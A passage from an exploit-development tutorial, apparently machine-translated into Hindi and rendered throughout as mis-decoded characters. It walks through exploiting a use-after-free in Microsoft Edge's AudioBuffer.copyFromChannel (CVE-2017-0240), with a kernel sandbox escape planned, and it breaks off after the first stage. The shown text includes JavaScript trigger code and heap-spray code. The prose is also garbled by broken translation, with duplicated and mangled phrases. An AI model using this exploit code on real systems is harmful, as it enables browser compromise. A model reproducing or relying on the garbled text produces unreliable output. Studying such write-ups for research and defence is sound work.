рд╡рд┐рдВрдбреЛрдЬ 10 рдкрд░ рд╕реАрд╡реАрдИ рд╕реЗ рдЖрд░рд╕реАрдИ рддрдХ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдПрдЬ

рдкрд╣рдЪрд╛рди


рдЗрд╕ рдЖрд▓реЗрдЦ рдХреЗ рдврд╛рдВрдЪреЗ рдореЗрдВ, рд╣рдо рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рдж рдореЗрдВ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд╕рд╛рде, рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдПрдЬ рдореЗрдВ рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реЛрд╖рдг рд▓рд┐рдЦрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗред рдпрджрд┐ рдЖрдк рдпрд╣ рдЬрд╛рдирдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреИрд╕реА рджрд┐рдЦрддреА рд╣реИ, рддреЛ рдмрд┐рд▓реНрд▓реА рдХреЗ рдиреАрдЪреЗ рдЖрдкрдХрд╛ рд╕реНрд╡рд╛рдЧрдд рд╣реИ!


рдкрд░рд┐рдЪрдп


рдореЙрдиреНрдЯреНрд░рд┐рдпрд▓ рдореЗрдВ рдирд╡реАрдирддрдо Pwn2Own 2019 рдореЗрдВ, рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреА рд╢реНрд░реЗрдгреА рдореЗрдВ, Microsoft Edge рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢реЛрд╖рдг рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕рдХреЗ рд▓рд┐рдП рджреЛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛: рд░реЗрдВрдбрд░рд░ рдореЗрдВ double free рдФрд░ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрд╛рд░реНрдХрд┐рдХ рднреЗрджреНрдпрддрд╛ред рдЗрди рджреЛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕рдВрдмрдВрдзрд┐рдд CVE : CVE-2019-0940 рдФрд░ CVE-2019-0938 ред рдЖрдк рдмреНрд▓реЙрдЧ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ: Pwn2Own 2019: Microsoft рдПрдЬ рд░реЗрдВрдбрд░рд░ рд╢реЛрд╖рдг (CVE-2019-0940)ред рднрд╛рдЧ 1 рдФрд░ Pwn2Own 2019: рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдПрдЬрд╝ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдПрд╕реНрдХреЗрдк (CVE-2019-0938)ред рднрд╛рдЧ реи


рд╣рдорд╛рд░реЗ рд▓реЗрдЦ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдо рдЗрд╕ рддрд░рд╣ рдХреЗ рдХрд╛рд░рдирд╛рдореЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рджрд┐рдЦрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП Windows 10 рдкрд░ Microsoft Edge рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ CVE-2017-0240 рдФрд░ CVE-2016-3309 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рддрдирд╛ рд╕рдордп рдФрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдорддрднреЗрджреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдпрджрд┐ Pwn2Own рдкрд░ Pwn2Own рдЧрдП рд╢реЛрд╖рдг рдиреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рддрд╛рд░реНрдХрд┐рдХ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП Windows 10 рдХрд░реНрдиреЗрд▓ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред Microsoft рд╢реЛ рд╕реЗ рдкреИрдЪ рдХреЗ рд░реВрдк рдореЗрдВ, рдХрд░реНрдиреЗрд▓ рдореЗрдВ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╣реИрдВред рдирддреАрдЬрддрди, рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдРрд╕реА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдиреЗ рдХреА рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рдФрд░ рдХрдВрдкрдирд┐рдпреЛрдВ рдореЗрдВ рдЖрдИрдПрд╕ рдХрд░реНрдордЪрд╛рд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред


рд╕реНрд░реЛрдд рдбреЗрдЯрд╛


рдпрд╣ рдЖрд▓реЗрдЦ Microsoft Edge рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд▓рд┐рдП 1-рджрд┐рд╡рд╕реАрдп рд╢реЛрд╖рдг рд▓рд┐рдЦрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХрд╡рд░ рдХрд░реЗрдЧрд╛ред CVE-2017-0240 рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдСрдкрд░реЗрд╢рди рдХрд╛ рдкрд╣рд▓рд╛ рдЪрд░рдг рд╕реНрд░реЛрдд [1] рд╕реЗ рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╣реЛрдЧрд╛, рд╣рдо рдПрдХ arbitrary address read/write рдЖрджрд┐рдо, рдФрд░ рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рд╕реЗ рднреА рдкрд░рд┐рдЪрд┐рдд рд╣реЛрдВрдЧреЗ рдЬреЛ рдРрд╕реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдмрд╛рдж, рд╣рдо рдЖрдкрдХреЛ pwn.js рдЯреВрд▓ рд╕реЗ pwn.js , рдЬреЛ рдЖрдкрдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдордирдорд╛рдиреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛, рдФрд░ рдЙрдиреНрд╣реЗрдВ mitigations рд╡рд┐рднрд┐рдиреНрди mitigations рдФрд░ рддрд░реАрдХреЛрдВ рдкрд░ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдЧрд╛ред рдЕрдВрддрд┐рдо рдЪрд░рдг рдореЗрдВ, рд╡рд┐рдВрдбреЛрдЬрд╝ CVE-2016-3309 рдХрд░реНрдиреЗрд▓ рднреЗрджреНрдпрддрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ, AppContainer рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ AppContainer рдХрд░рдиреЗ рдФрд░ рд╣рдорд▓рд╛ рдорд╢реАрди рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред


рдСрдкрд░реЗрд╢рди рдХреЛ Microsoft Windows 10 Pro 1703 (10.0.15063) рдФрд░ Microsoft Edge (40.15063.0.0) рдмреНрд░рд╛рдЙрдЬрд╝рд░ Microsoft Edge (40.15063.0.0) рд╕рд╛рде рд╕реНрдЯреИрдВрдб рдкрд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред


рдЪрд░рдг 1. рдЖрджрд┐рдо arbitrary address read/write рдПрдХ arbitrary address read/write рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛


рднреЗрджреНрдпрддрд╛ рдФрд░ OOB рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рд╡рд░рдг


рдСрдбрд┐рдпреЛ рдмрдлрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рдХреЙрдкреАрдлреНрд░реЙрдордЪреИрдирд▓ рд╡рд┐рдзрд┐ рдореЗрдВ рдЯрд╛рдЗрдк use-after-free рдПрдХ рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИред


AudioBuffer рдореЗрдореЛрд░реА рдореЗрдВ рд╕реНрдерд┐рдд рдПрдХ рдЫреЛрдЯреА рдСрдбрд┐рдпреЛ рдкрд░рд┐рд╕рдВрдкрддреНрддрд┐ рдХрд╛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИ рдФрд░ AudioContext.decodeAudioData () рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдСрдбрд┐рдпреЛ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╛ AudioContext.createBuffer () рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд░реЛрдд рдбреЗрдЯрд╛ рд╕реЗред AudioBuffer рдореЗрдВ рд░рдЦреЗ рдЧрдП рдСрдбрд┐рдпреЛ рдбреЗрдЯрд╛ рдХреЛ AudioBufferSourceNode рдореЗрдВ рд╡рд╛рдкрд╕ рдЦреЗрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 рд╡рд▓реНрдирд░реЗрдмрд┐рд▓рд┐рдЯреА рдХреА The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 рдкреНрд░рд╕реНрддреБрддрд┐ рднреЗрджреНрдпрддрд╛ рдФрд░ рдкреИрдЪ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдЬрдм copyFromChannel рд╡рд┐рдзрд┐ рдХреЛ copyFromChannel , рддреЛ рдСрдбрд┐рдпреЛ рдмрдлрд░ рдЪреИрдирд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрд╣рд▓реЗ рддрд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ destination рдмрдлрд░ рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ destination рд╣реИред рд╡рд┐рдзрд┐ рдЪреИрдирд▓ рдирдВрдмрд░ ( channelNumber ) рдФрд░ рдСрдбрд┐рдпреЛ рдмрдлрд░ ( startInChannel ) рдореЗрдВ рдСрдлрд╕реЗрдЯ рдХреЛ рднреА рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред CDOMAudioBuffer::Var_copyFromChannel рдореЗрдВ рд╕реАрдзреЗ destination рдбреЗрдЯрд╛ рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ CDOMAudioBuffer::Var_copyFromChannel рдлрд╝рдВрдХреНрд╢рди, destination рдмрдлрд╝рд░ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рд╕реНрдЯреИрдХ рдкрд░ рд╕реНрдерд╛рдиреАрдп рдлрд╝рдВрдХреНрд╢рди рдЪрд░ рдореЗрдВ рдмрдлрд░ рдХрд╛ рдкрддрд╛ рдФрд░ рдЖрдХрд╛рд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рдФрд░ channelNumber рдФрд░ startInChannel рдСрдмреНрдЬреЗрдХреНрдЯ рдорд╛рдиреЛрдВ рдХреЛ Int рдкреНрд░рдХрд╛рд░ рдореЗрдВ startInChannel рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП startInChannel рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдорд╛рди рд╡рд┐рдзрд┐ред рднреЗрджреНрдпрддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдХреИрд╢реНрдб рдмрдлрд░ рдХреЛ valueOf рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рдУрд╡рд░рд░рд╛рдЗрдб рд╡рд┐рдзрд┐ рдореЗрдВ рд░реВрдкрд╛рдВрддрд░рдг рдХреЗ рд╕рдордп рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ:


 // ,     var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); //   -   var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; //     valueOf var obj = { valueOf: function () { //   var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; //    sleep(1000); return 0; } }; //   audioBuf.copyFromChannel(t2, obj, 0); 

рдпрд╣ рдХреЛрдб рдмрдлрд░ рдХреЛ рдореБрдХреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Web Workers рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЦрд╛рд▓реА Worker , рд╣рдо рдЙрд╕реЗ postMessage рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕рдВрджреЗрд╢ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдкрджреНрдзрддрд┐ рдХрд╛ рджреВрд╕рд░рд╛ рд╡реИрдХрд▓реНрдкрд┐рдХ transfer рддрд░реНрдХ Transferable рд╡рд╕реНрддреБрдУрдВ ( ArrayBuffer , MessagePost рдпрд╛ ImageBitmap ) рдХреА рдПрдХ рд╕рд░рдгреА рд▓реЗрддрд╛ рд╣реИ, рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ Worker рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗ рдФрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рд╡рд░реНрддрдорд╛рди рд╕рдВрджрд░реНрдн рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рд╣рдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж, sleep рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рд╣реЛрддрд╛ рд╣реИ - рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдЬреЛ рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ (рдЗрд╕реЗ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рддрд╛рдХрд┐ рдХрдЪрд░рд╛ рд╕рдВрдЧреНрд░рд╣рдг рдкреНрд░рдгрд╛рд▓реА ( GC , Garbage Collector ) рдмрдлрд░ рдХреЛ рдореБрдХреНрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░реЗ, рдЬрд┐рди рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред


рд╡реЗрдм рд╡рд░реНрдХрд░реНрд╕ рдкреГрд╖реНрдарднреВрдорд┐ рдереНрд░реЗрдб рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рдХрд╛ рдПрдХ рд╕рд░рд▓ рд╕рд╛рдзрди рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рд╡рд░реНрдХрд░ рдереНрд░реЗрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд┐рдП рдмрд┐рдирд╛ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╡реЗ XMLHttpRequest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ I / O рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд╣рд╛рд▓рд╛рдВрдХрд┐ responseXML рдФрд░ рдЪреИрдирд▓ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рд╣рдореЗрд╢рд╛ рд░рд┐рдХреНрдд рд░рд╣реЗрдВрдЧреА)ред рдПрдХ рдореМрдЬреВрджрд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдЗрд╕ рдХреЛрдб (рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд) рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реИрдВрдбрд▓рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд░реНрдорд╛рддрд╛ рдХреЛрдб рдХреЛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдВрджреЗрд╢ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рдХреЛрдб рдХреЛ рдПрдЬ рдореЗрдВ рдбреАрдмрдЧрд░ рдХреЗ рддрд╣рдд рдЪрд▓рд╛рдХрд░, рдЖрдк рдирд┐рдореНрди рдХреНрд░реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред


рдЪрд░рдг 01 рджреБрд░реНрдШрдЯрдирд╛


рдирддреАрдЬрддрди, copyFromChannel рдХреЙрд▓ рдСрдбрд┐рдпреЛ рдмрдлрд░ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдмрд┐рдирд╛ рдореЗрдореЛрд░реА рд╡рд╛рд▓реЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреЙрдкреА рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рднреЗрджреНрдпрддрд╛ рдХрд╛ рджреЛрд╣рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдЖрд╡рдВрдЯрди рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рд░рдгреА рдЦрдВрдб рдПрдХрджрдо рд╕рд╣реА рд╣реИред


Chakra рдореЗрдВ Chakra ( Edge рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд JS рдЗрдВрдЬрди) рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВ: рд╕рд░рдгреА рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдЖрдХрд╛рд░ рд╣реЛрддрд╛ рд╣реИ, рд╕рд░рдгреА рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ (рдпрд╛ рдорд╛рди, IntArray рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ IntArray ) рдХреЛ рдПрдХ рдЕрд▓рдЧ рдореЗрдореЛрд░реА рдПрд░рд┐рдпрд╛ - рд╕реЗрдЧрдореЗрдВрдЯ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕реВрдЪрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИред рд╕рд░рдгреАред рд╕реЗрдЧрдореЗрдВрдЯ рд╣реЗрдбрд░ рдореЗрдВ рд╕реЗрдЧрдореЗрдВрдЯ рдХреЗ рдЖрдХрд╛рд░ рд╕рд╣рд┐рдд рд╡рд┐рднрд┐рдиреНрди рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ, рдЬреЛ рдПрд░реЗ рдХреЗ рдЖрдХрд╛рд░ рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИред рд╕рд░рдгреА рдХрд╛ рдЖрдХрд╛рд░ рднреА рд╕рд░рдгреА рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рд╣реА рдореМрдЬреВрдж рд╣реИред рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ, рдпрд╣ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:


рд╕рд░рдгреА рд╕рдВрд░рдЪрдирд╛


рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рд╕реНрдерд╛рди рдореЗрдВ рд╕рд░рдгреА рдЦрдВрдб рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдСрдбрд┐рдпреЛ рдмрдлрд░ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рд╕рд░рдгреА рдЦрдВрдб рдХреЗ рд╣реЗрдбрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо sleep(1000); рдмрд╛рдж рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдКрдкрд░ рджрд┐рдП рдЧрдП рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ sleep(1000); :


 ... /*        ,    .   arr        */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ... 

рд╕рд░рдгрд┐рдпреЛрдВ рдХрд╛ рдЖрдХрд╛рд░ рдЗрд╕рд▓рд┐рдП рдЪреБрдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╕рд░рдгреА рдЦрдВрдб рдХрд╛ рдЖрдХрд╛рд░ рдкреВрд░реЗ рдвреЗрд░ рдЦрдВрдб (рдвреЗрд░ рд╕реНрдореГрддрд┐ рдХрд╛ рдиреНрдпреВрдирддрдо рдЕрд╡рд┐рднрд╛рдЬреНрдп рдЯреБрдХрдбрд╝рд╛, рдЬрд┐рд╕рдХрд╛ рдЖрдХрд╛рд░ 0x10000 рдмрд╛рдЗрдЯреНрд╕ рд╣реИ) рдкрд░ рдХрдмреНрдЬрд╛ рдХрд░ рд▓реЗрддрд╛ рд╣реИред рдЗрд╕ рдХреЛрдб рдХреЛ рдЪрд▓рд╛рдПрдВ, memcpy рдлрдВрдХреНрд╢рди рдХреЛ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ (рдЗрд╕рдореЗрдВ рдХрдИ memcpy рдХреЙрд▓ рд╣реЛрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдпрд╣ edgehtml!WebCore::AudioBufferData::copyBufferData рдкрд░ рдкрд╣рд▓реЗ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИ edgehtml!WebCore::AudioBufferData::copyBufferData ), рдЬрд┐рд╕рдореЗрдВ рджреБрд░реНрдШрдЯрдирд╛ рд╣реБрдИред рд╣рдореЗрдВ рдирд┐рдореНрди рдкрд░рд┐рдгрд╛рдо рдорд┐рд▓рддреЗ рд╣реИрдВ:


рдЪрд░рдг 02


